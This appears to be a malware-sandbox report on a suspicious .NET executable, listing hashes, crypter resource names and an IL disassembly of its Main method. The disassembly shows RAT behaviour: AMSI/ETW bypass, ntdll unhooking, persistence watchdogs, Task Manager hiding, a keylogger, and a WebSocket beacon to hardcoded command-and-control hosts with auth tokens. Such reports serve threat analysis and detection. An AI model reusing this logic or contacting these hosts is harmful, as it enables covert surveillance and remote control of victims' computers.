Suspicious
Suspect

f18db04db93be41a63be4f643944ce08

PE Executable
MD5: f18db04db93be41a63be4f643944ce08
Size: 626.69 KB
application/x-dosexec

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score Low
MD5 f18db04db93be41a63be4f643944ce08
Sha1 cf9eabe1beaa50a4e107bc52c350f46c7f0153b1
Sha256 03597cdb57624fa8b7fea30755f6bf5111d01bdaf40a4e70a1d85ad18fd768e8
Sha384 5afc6fe3bda62da98057770c391b62dc3a0c4c22cd2a258ebb68c9f358a22cbe0542031c438083e0d707b3df2445072e
Sha512 6554d109b6f9ba9a4448151a1a2dace701b3841e533432796b6836788772e108bd2ed833d296ee7fe6b17a8149482d1c2802d8f1b03ba3f33c68279aad6d97a1
SSDeep 6144:p4lzCZjao+ugDmOTpwnX5I59bm6tkarqFfELc2wKvS6Xa1lTJNwibWmKSbizhbYA:p4VCZGowRTGJjGkaWSGwkWYE5y
TLSH 1AD47E30B2D54D3BD3DF097E58780A5E7C7068CB8252E6085459B7F96B00B6487BCBB6
.Net Resources
Crypter_By_Shizo.Properties.Resources.resources
WingdingsStub.Properties.Resources.resources
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
STICH beta

No STICH Path has been generated for this analysis yet.

2 structural branches were classified as secondary (decorative or non-determinant content) and did not produce a fingerprint.

bin 2
Name Value
Module Name
client_build.exe
Full Name
client_build.exe
EntryPoint
System.Void 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::Main(System.String[])
Scope Name
client_build.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
client_build
Assembly Version
10.0.21397.217
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
1618
Main Method
System.Void 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::Main(System.String[])
Main IL Instruction Count
514
Main IL
call System.AppDomain System.AppDomain::get_CurrentDomain()
ldsfld System.UnhandledExceptionEventHandler 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅/<>c::<>9__186_0
dup <null>
brtrue.s IL_0024: callvirt System.Void System.AppDomain::add_UnhandledException(System.UnhandledExceptionEventHandler)
pop <null>
ldsfld 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅/<>c 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅/<>c::<>9
ldftn System.Void 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅/<>c::<Main>b__186_0(System.Object,System.UnhandledExceptionEventArgs)
newobj System.Void System.UnhandledExceptionEventHandler::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.UnhandledExceptionEventHandler 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅/<>c::<>9__186_0
callvirt System.Void System.AppDomain::add_UnhandledException(System.UnhandledExceptionEventHandler)
call System.Void 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::EnableDpiAwareness()
ldarg.0 <null>
brfalse.s IL_0064: call System.Boolean 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::CheckAntiAnalysis()
ldarg.0 <null>
ldlen <null>
conv.i4 <null>
ldc.i4.2 <null>
blt.s IL_0064: call System.Boolean 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::CheckAntiAnalysis()
ldarg.0 <null>
ldc.i4.0 <null>
ldelem.ref <null>
ldstr --watchdog
call System.Boolean System.String::op_Equality(System.String,System.String)
brfalse.s IL_0064: call System.Boolean 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::CheckAntiAnalysis()
ldarg.0 <null>
ldc.i4.1 <null>
ldelem.ref <null>
ldloca.s V_0
call System.Boolean System.Int32::TryParse(System.String,System.Int32&)
brfalse.s IL_0064: call System.Boolean 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::CheckAntiAnalysis()
ldloc.0 <null>
call System.Void 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::StartWatchdog(System.Int32)
ldc.i4 1000
call System.Void System.Threading.Thread::Sleep(System.Int32)
br.s IL_0058: ldc.i4 1000
call System.Boolean 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::CheckAntiAnalysis()
brfalse.s IL_006C: nop
ret <null>
nop <null>
call System.Void 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::UnhookNtdll()
call System.Void 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::EnsureInstalledAndDisguised()
call System.String System.Windows.Forms.Application::get_ExecutablePath()
call System.Void 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::LockFilePermissions(System.String)
call System.Void 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::KeepFilesLockedForever()
ldsfld System.Boolean 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::FEATURE_AMSI_ETW_BYPASS
brfalse.s IL_0092: ldsfld System.Boolean 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::FEATURE_CRITICAL_PROCESS
call System.Void 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::破障_陽煞仙空仙尊()
ldsfld System.Boolean 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::FEATURE_CRITICAL_PROCESS
brfalse.s IL_009E: call System.Void 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::SpawnCompanionWatchdog()
call System.Void 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::EnableCriticalProcess()
call System.Void 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::SpawnCompanionWatchdog()
ldsfld System.Boolean 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::FEATURE_ANTI_DUMP
brfalse.s IL_00AF: ldsfld System.Boolean 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::FEATURE_PROCESS_SHIELD
call System.Void 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::WipePeHeaderInMemory()
ldsfld System.Boolean 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::FEATURE_PROCESS_SHIELD
brfalse.s IL_00BB: ldsfld System.Boolean 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::FEATURE_SINGLE_INSTANCE
call System.Void 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::ApplyProcessShield()
ldsfld System.Boolean 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::FEATURE_SINGLE_INSTANCE
brfalse.s IL_00CE: ldsfld System.Boolean 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::FEATURE_HIDE_CONSOLE
call System.Boolean 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::CheckSingleInstance()
brtrue.s IL_00CE: ldsfld System.Boolean 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::FEATURE_HIDE_CONSOLE
leave IL_05F3: ret
ldsfld System.Boolean 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::FEATURE_HIDE_CONSOLE
brfalse.s IL_00F0: ldsfld System.Boolean 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::FEATURE_FAKE_ERROR
call System.IntPtr 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::GetConsoleWindow()
stloc.1 <null>
ldloc.1 <null>
ldsfld System.IntPtr System.IntPtr::Zero
call System.Boolean System.IntPtr::op_Inequality(System.IntPtr,System.IntPtr)
brfalse.s IL_00F0: ldsfld System.Boolean 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::FEATURE_FAKE_ERROR
ldloc.1 <null>
ldc.i4.0 <null>
call System.Boolean 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::ShowWindow(System.IntPtr,System.Int32)
pop <null>
ldsfld System.Boolean 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::FEATURE_FAKE_ERROR
brfalse.s IL_0127: ldsfld System.Boolean 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::FEATURE_MULTIPLE_PERSISTENCE
ldsfld System.Threading.ThreadStart 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅/<>c::<>9__186_1
dup <null>
brtrue.s IL_0116: newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
pop <null>
ldsfld 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅/<>c 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅/<>c::<>9
ldftn System.Void 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅/<>c::<Main>b__186_1()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Threading.ThreadStart 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅/<>c::<>9__186_1
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Threading.Thread::set_IsBackground(System.Boolean)
callvirt System.Void System.Threading.Thread::Start()
ldsfld System.Boolean 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::FEATURE_MULTIPLE_PERSISTENCE
brtrue.s IL_0135: ldsfld System.Threading.ThreadStart 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅/<>c::<>9__186_2
ldsfld System.Boolean 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::FEATURE_AUTORUN
brfalse.s IL_0165: ldsfld System.Boolean 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::FEATURE_PROCESS_MORPH
ldsfld System.Threading.ThreadStart 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅/<>c::<>9__186_2
dup <null>
brtrue.s IL_0154: newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
pop <null>
ldsfld 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅/<>c 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅/<>c::<>9
ldftn System.Void 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅/<>c::<Main>b__186_2()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Threading.ThreadStart 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅/<>c::<>9__186_2
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Threading.Thread::set_IsBackground(System.Boolean)
callvirt System.Void System.Threading.Thread::Start()
ldsfld System.Boolean 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::FEATURE_PROCESS_MORPH
brfalse.s IL_0171: ldsfld System.Boolean 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::FEATURE_HIDE_TASKMGR
call System.Void 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::ProcessMorphing()
ldsfld System.Boolean 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::FEATURE_HIDE_TASKMGR
brfalse.s IL_01A4: ldsfld System.Boolean 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::FEATURE_CRITICAL_PROCESS
ldsfld System.Threading.ThreadStart 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅/<>O::<1>__TaskmgrHidingLoop
dup <null>
brtrue.s IL_0193: newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
pop <null>
ldnull <null>
ldftn System.Void 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::TaskmgrHidingLoop()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Threading.ThreadStart 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅/<>O::<1>__TaskmgrHidingLoop
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Threading.Thread::set_IsBackground(System.Boolean)
callvirt System.Void System.Threading.Thread::Start()
ldsfld System.Boolean 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::FEATURE_CRITICAL_PROCESS
brfalse.s IL_01B0: call System.Void 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::StartSelfRelaunchWatchdog()
call System.Void 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::EnableCriticalProcess()
call System.Void 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::StartSelfRelaunchWatchdog()
call System.Void 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::StartWatchdog()
call System.Boolean 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::IsAdministrator()
brfalse.s IL_01F1: ldsfld System.Threading.ThreadStart 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅/<>O::<2>__KeyloggerLoop
ldsfld System.Threading.ThreadStart 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅/<>c::<>9__186_3
dup <null>
brtrue.s IL_01E0: newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
pop <null>
ldsfld 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅/<>c 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅/<>c::<>9
ldftn System.Void 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅/<>c::<Main>b__186_3()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Threading.ThreadStart 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅/<>c::<>9__186_3
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Threading.Thread::set_IsBackground(System.Boolean)
callvirt System.Void System.Threading.Thread::Start()
ldsfld System.Threading.ThreadStart 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅/<>O::<2>__KeyloggerLoop
dup <null>
brtrue.s IL_020C: newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
pop <null>
ldnull <null>
ldftn System.Void 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::KeyloggerLoop()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Threading.ThreadStart 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅/<>O::<2>__KeyloggerLoop
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Threading.Thread::set_IsBackground(System.Boolean)
callvirt System.Void System.Threading.Thread::Start()
leave.s IL_0222: nop
pop <null>
leave.s IL_0222: nop
nop <null>
call System.String[] 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::get_SERVER_CANDIDATES()
stloc.2 <null>
ldloc.2 <null>
brfalse.s IL_0230: ldc.i4.3
ldloc.2 <null>
ldlen <null>
brtrue.s IL_024F: ldc.i4.0
ldc.i4.3 <null>
newarr System.String
dup <null>
ldc.i4.0 <null>
ldstr https://shy-scene-piloty194.workers.dev
stelem.ref <null>
dup <null>
ldc.i4.1 <null>
ldstr https://billowing-boat-0c0f.piloty194.workers.dev
stelem.ref <null>
dup <null>
ldc.i4.2 <null>
ldstr 2.26.55.223:8080
stelem.ref <null>
stloc.2 <null>
ldc.i4.0 <null>
stloc.3 <null>
ldloc.2 <null>
stloc.s V_4
ldc.i4.0 <null>
stloc.s V_5
br IL_05D4: ldloc.s V_5
ldloc.s V_4
ldloc.s V_5
ldelem.ref <null>
stloc.s V_6
ldloc.s V_6
call System.Boolean System.String::IsNullOrWhiteSpace(System.String)
brtrue IL_05CE: ldloc.s V_5
ldloc.s V_6
callvirt System.String System.String::Trim()
stloc.s V_7
ldloc.s V_7
ldstr pastebin.com
callvirt System.Boolean System.String::Contains(System.String)
brtrue IL_05CE: ldloc.s V_5
ldloc.s V_7
ldstr /raw/
callvirt System.Boolean System.String::Contains(System.String)
brtrue IL_05CE: ldloc.s V_5
newobj System.Void System.Collections.Generic.List`1<System.String>::.ctor()
stloc.s V_8
ldloc.s V_7
stloc.s V_9
ldloc.s V_9
ldstr https://
ldc.i4.5 <null>
callvirt System.Boolean System.String::StartsWith(System.String,System.StringComparison)
brfalse.s IL_02C0: ldloc.s V_9
ldloc.s V_9
ldc.i4.8 <null>
callvirt System.String System.String::Substring(System.Int32)
stloc.s V_9
br.s IL_030F: ldloc.s V_9
ldloc.s V_9
ldstr http://
ldc.i4.5 <null>
callvirt System.Boolean System.String::StartsWith(System.String,System.StringComparison)
brfalse.s IL_02DB: ldloc.s V_9
ldloc.s V_9
ldc.i4.7 <null>
callvirt System.String System.String::Substring(System.Int32)
stloc.s V_9
br.s IL_030F: ldloc.s V_9
ldloc.s V_9
ldstr wss://
ldc.i4.5 <null>
callvirt System.Boolean System.String::StartsWith(System.String,System.StringComparison)
brfalse.s IL_02F6: ldloc.s V_9
ldloc.s V_9
ldc.i4.6 <null>
callvirt System.String System.String::Substring(System.Int32)
stloc.s V_9
br.s IL_030F: ldloc.s V_9
ldloc.s V_9
ldstr ws://
ldc.i4.5 <null>
callvirt System.Boolean System.String::StartsWith(System.String,System.StringComparison)
brfalse.s IL_030F: ldloc.s V_9
ldloc.s V_9
ldc.i4.5 <null>
callvirt System.String System.String::Substring(System.Int32)
stloc.s V_9
ldloc.s V_9
ldc.i4.1 <null>
newarr System.Char
dup <null>
ldc.i4.0 <null>
ldc.i4.s 47
stelem.i2 <null>
callvirt System.String System.String::TrimEnd(System.Char[])
stloc.s V_9
ldloc.s V_9
ldstr .workers.dev
callvirt System.Boolean System.String::Contains(System.String)
brtrue.s IL_033F: ldc.i4.1
ldloc.s V_9
ldstr workers.dev
callvirt System.Boolean System.String::Contains(System.String)
br.s IL_0340: ldloc.s V_9
ldc.i4.1 <null>
ldloc.s V_9
ldstr :
callvirt System.Boolean System.String::Contains(System.String)
stloc.s V_10
brfalse.s IL_0396: ldloc.s V_10
ldloc.s V_10
brtrue.s IL_0358: ldloc.s V_9
ldloc.s V_9
br.s IL_036C: stloc.s V_11
ldloc.s V_9
ldc.i4.1 <null>
newarr System.Char
dup <null>
ldc.i4.0 <null>
ldc.i4.s 58
stelem.i2 <null>
callvirt System.String[] System.String::Split(System.Char[])
ldc.i4.0 <null>
ldelem.ref <null>
stloc.s V_11
ldloc.s V_8
ldstr wss://
ldloc.s V_11
call System.String System.String::Concat(System.String,System.String)
callvirt System.Void System.Collections.Generic.List`1<System.String>::Add(System.String)
ldloc.s V_8
ldstr ws://
ldloc.s V_11
call System.String System.String::Concat(System.String,System.String)
callvirt System.Void System.Collections.Generic.List`1<System.String>::Add(System.String)
br.s IL_0405: ldloc.s V_8
ldloc.s V_10
brfalse.s IL_03C2: ldloc.s V_8
ldloc.s V_8
ldstr ws://
ldloc.s V_9
call System.String System.String::Concat(System.String,System.String)
callvirt System.Void System.Collections.Generic.List`1<System.String>::Add(System.String)
ldloc.s V_8
ldstr wss://
ldloc.s V_9
call System.String System.String::Concat(System.String,System.String)
callvirt System.Void System.Collections.Generic.List`1<System.String>::Add(System.String)
br.s IL_0405: ldloc.s V_8
ldloc.s V_8
ldstr ws://
ldloc.s V_9
ldstr :9090
call System.String System.String::Concat(System.String,System.String,System.String)
callvirt System.Void System.Collections.Generic.List`1<System.String>::Add(System.String)
ldloc.s V_8
ldstr wss://
ldloc.s V_9
ldstr :9090
call System.String System.String::Concat(System.String,System.String,System.String)
callvirt System.Void System.Collections.Generic.List`1<System.String>::Add(System.String)
ldloc.s V_8
ldstr wss://
ldloc.s V_9
call System.String System.String::Concat(System.String,System.String)
callvirt System.Void System.Collections.Generic.List`1<System.String>::Add(System.String)
ldloc.s V_8
callvirt System.Collections.Generic.List`1/Enumerator<System.String> System.Collections.Generic.List`1<System.String>::GetEnumerator()
stloc.s V_12
br IL_05AF: ldloca.s V_12
ldloca.s V_12
call System.String System.Collections.Generic.List`1/Enumerator<System.String>::get_Current()
stloc.s V_13
newobj System.Void System.Net.WebSockets.ClientWebSocket::.ctor()
stloc.s V_14
ldloc.s V_14
callvirt System.Net.WebSockets.ClientWebSocketOptions System.Net.WebSockets.ClientWebSocket::get_Options()
ldc.r8 5
call System.TimeSpan System.TimeSpan::FromSeconds(System.Double)
callvirt System.Void System.Net.WebSockets.ClientWebSocketOptions::set_KeepAliveInterval(System.TimeSpan)
ldloc.s V_14
callvirt System.Net.WebSockets.ClientWebSocketOptions System.Net.WebSockets.ClientWebSocket::get_Options()
ldstr User-Agent
ldstr Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
callvirt System.Void System.Net.WebSockets.ClientWebSocketOptions::SetRequestHeader(System.String,System.String)
ldloc.s V_14
callvirt System.Net.WebSockets.ClientWebSocketOptions System.Net.WebSockets.ClientWebSocket::get_Options()
ldstr X-Stager-Auth
ldstr MyUltraSecretToken998877!
callvirt System.Void System.Net.WebSockets.ClientWebSocketOptions::SetRequestHeader(System.String,System.String)
ldloc.s V_14
callvirt System.Net.WebSockets.ClientWebSocketOptions System.Net.WebSockets.ClientWebSocket::get_Options()
ldstr X-Rat-Token
ldstr BatRat_SecKey_v2_9f83a71b4028e
callvirt System.Void System.Net.WebSockets.ClientWebSocketOptions::SetRequestHeader(System.String,System.String)
leave.s IL_0484: ldc.i4 8000
pop <null>
leave.s IL_0484: ldc.i4 8000
ldc.i4 8000
newobj System.Void System.Threading.CancellationTokenSource::.ctor(System.Int32)
stloc.s V_15
ldloc.s V_13
newobj System.Void System.Uri::.ctor(System.String)
stloc.s V_16
ldloc.s V_14
ldloc.s V_16
ldloc.s V_15
callvirt System.Threading.CancellationToken System.Threading.CancellationTokenSource::get_Token()
callvirt System.Threading.Tasks.Task System.Net.WebSockets.ClientWebSocket::ConnectAsync(System.Uri,System.Threading.CancellationToken)
callvirt System.Void System.Threading.Tasks.Task::Wait()
ldloc.s V_14
callvirt System.Net.WebSockets.WebSocketState System.Net.WebSockets.WebSocket::get_State()
ldc.i4.2 <null>
bne.un IL_058B: leave.s IL_0599
ldc.i4.1 <null>
stloc.3 <null>
call System.String 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::GetMachineHWID()
stloc.s V_17
call System.DateTime System.DateTime::get_UtcNow()
ldc.i4 1970
ldc.i4.1 <null>
ldc.i4.1 <null>
ldc.i4.0 <null>
ldc.i4.0 <null>
ldc.i4.0 <null>
ldc.i4.1 <null>
newobj System.Void System.DateTime::.ctor(System.Int32,System.Int32,System.Int32,System.Int32,System.Int32,System.Int32,System.DateTimeKind)
call System.TimeSpan System.DateTime::op_Subtraction(System.DateTime,System.DateTime)
stloc.s V_23
ldloca.s V_23
call System.Double System.TimeSpan::get_TotalSeconds()
conv.i8 <null>
stloc.s V_18
call System.String 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::get_OWNER_TOKEN()
ldloc.s V_17
ldloc.s V_18
call System.String 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::get_HANDSHAKE_SECRET()
call System.String 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::ComputeHandshakeSig(System.String,System.String,System.Int64,System.String)
stloc.s V_19
ldloc.s V_17
ldloc.s V_18
call System.String 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::get_HANDSHAKE_SECRET()
call System.String 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::骨印_帝尊鳳羅坤暗(System.String,System.Int64,System.String)
stloc.s V_20
ldc.i4.s 9
newarr System.String
dup <null>
ldc.i4.0 <null>
call System.String 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::get_OWNER_TOKEN()
stelem.ref <null>
dup <null>
ldc.i4.1 <null>
ldstr |
stelem.ref <null>
dup <null>
ldc.i4.2 <null>
ldloc.s V_17
stelem.ref <null>
dup <null>
ldc.i4.3 <null>
ldstr |
stelem.ref <null>
dup <null>
ldc.i4.4 <null>
ldloca.s V_18
call System.String System.Int64::ToString()
stelem.ref <null>
dup <null>
ldc.i4.5 <null>
ldstr |
stelem.ref <null>
dup <null>
ldc.i4.6 <null>
ldloc.s V_19
stelem.ref <null>
dup <null>
ldc.i4.7 <null>
ldstr |
stelem.ref <null>
dup <null>
ldc.i4.8 <null>
ldloc.s V_20
stelem.ref <null>
call System.String System.String::Concat(System.String[])
stloc.s V_21
call System.Text.Encoding System.Text.Encoding::get_UTF8()
ldloc.s V_21
callvirt System.Byte[] System.Text.Encoding::GetBytes(System.String)
stloc.s V_22
ldloc.s V_14
ldc.i4.0 <null>
ldloc.s V_22
call System.Void 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::SendData(System.Net.WebSockets.ClientWebSocket,System.Byte,System.Byte[])
br.s IL_057F: ldloc.s V_14
ldloc.s V_14
call System.Void 應用_羅陽魂夜破帝.程序_羅陽乾玄隱羅::HandleCommand(System.Net.WebSockets.ClientWebSocket)
ldloc.s V_14
callvirt System.Net.WebSockets.WebSocketState System.Net.WebSockets.WebSocket::get_State()
ldc.i4.2 <null>
beq.s IL_0578: ldloc.s V_14
leave.s IL_05BB: leave.s IL_05CB
leave.s IL_0599: leave.s IL_05A7
ldloc.s V_15
brfalse.s IL_0598: endfinally
ldloc.s V_15
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
leave.s IL_05A7: leave.s IL_05AC
ldloc.s V_14
brfalse.s IL_05A6: endfinally
ldloc.s V_14
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
leave.s IL_05AC: ldloc.3
pop <null>
leave.s IL_05AC: ldloc.3
ldloc.3 <null>
brtrue.s IL_05BB: leave.s IL_05CB
ldloca.s V_12
call System.Boolean System.Collections.Generic.List`1/Enumerator<System.String>::MoveNext()
brtrue IL_0413: ldloca.s V_12
leave.s IL_05CB: ldloc.3
ldloca.s V_12
constrained. System.Collections.Generic.List`1/Enumerator<System.String>
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
ldloc.3 <null>
brtrue.s IL_05DF: leave.s IL_05E4
ldloc.s V_5
ldc.i4.1 <null>
add <null>
stloc.s V_5
ldloc.s V_5
ldloc.s V_4
ldlen <null>
conv.i4 <null>
blt IL_025C: ldloc.s V_4
leave.s IL_05E4: ldc.i4 5000
pop <null>
leave.s IL_05E4: ldc.i4 5000
ldc.i4 5000
call System.Void System.Threading.Thread::Sleep(System.Int32)
br IL_0222: nop
ret <null>
Info
PE Detect: PeReader OK (file layout)
.Net Resources
Crypter_By_Shizo.Properties.Resources.resources
WingdingsStub.Properties.Resources.resources
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
No malware configuration was found at this point.
You must be signed in to view YARA rules.
An error has occurred. This application may no longer respond until reloaded. Reload 🗙